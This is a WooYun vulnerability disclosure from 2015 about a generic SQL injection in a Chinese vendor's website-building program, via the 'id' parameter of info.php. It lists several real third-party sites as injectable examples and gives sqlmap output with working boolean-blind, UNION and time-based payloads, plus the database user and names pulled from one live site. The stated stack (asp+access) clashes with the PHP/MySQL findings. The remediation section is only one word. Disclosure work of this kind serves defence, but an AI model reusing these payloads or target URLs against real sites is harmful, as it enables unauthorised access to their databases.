当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094407

漏洞标题：某建站程序通用型SQL注入

相关厂商：宏云浩海（北京）科技有限公司

漏洞作者： YuShen

提交时间：2015-01-28 18:23

修复时间：2015-04-28 18:24

公开时间：2015-04-28 18:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-28： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注入

详细说明：

注入

漏洞证明：

1、建站程序类型：asp+access
2、漏洞类型：SQL注入
3、缺陷文件：info.php
4、注入参数：id
5、涉及版本：全部
7、危害程度：高危
8、涉及厂商：宏云浩海（北京）科技有限公司
9、厂商网站：www.bj-cloud.com
10、安装量：超大
11、是否拥有源代码分析：暂无
12、是否默认配置：是
案例如下:
http://www.cnpamirs.com/ch/info.php?id=5&zid=14&en=c id=5
http://www.bagwoods.cn/ch/info.php?id=1
http://www.taidesteel.com/ch/info.php?id=1&en=c id=1
http://www.kdw.com.cn/ch/info.php?id=1&en=c id=1
http://web440507.dnsvhost.com/ch/info.php?id=5&zid=14&en=c id=5
http://taidesteelmesh.com/ch/info.php?id=5&zid=15&en=c
http://ruika-sh.com/ch/info.php?id=1&zid=1&en=c id=1
测试第一处

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5 AND 6981=6981&zid=14&en=c id=5 AND 6981=6981
    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: id=5 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a786b71,0x48794f6f524459425450,0x7164757071
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&zid=14&
en=c id=5 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,CONCAT(0x717a786b71,0x48794f6f524459425450,0x7164757071),NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=5 AND SLEEP(5)&zid=14&en=c id=5 AND SLEEP(5)
---
[16:08:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[16:08:52] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.cnpamirs.com'
[*] shutting down at 16:08:52


current user:    'web440507@%'
current database:    'db_web440507'


available databases [2]:
[*] db_web440507
[*] information_schema

修复方案：

过滤！

版权声明：转载请注明来源 YuShen@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝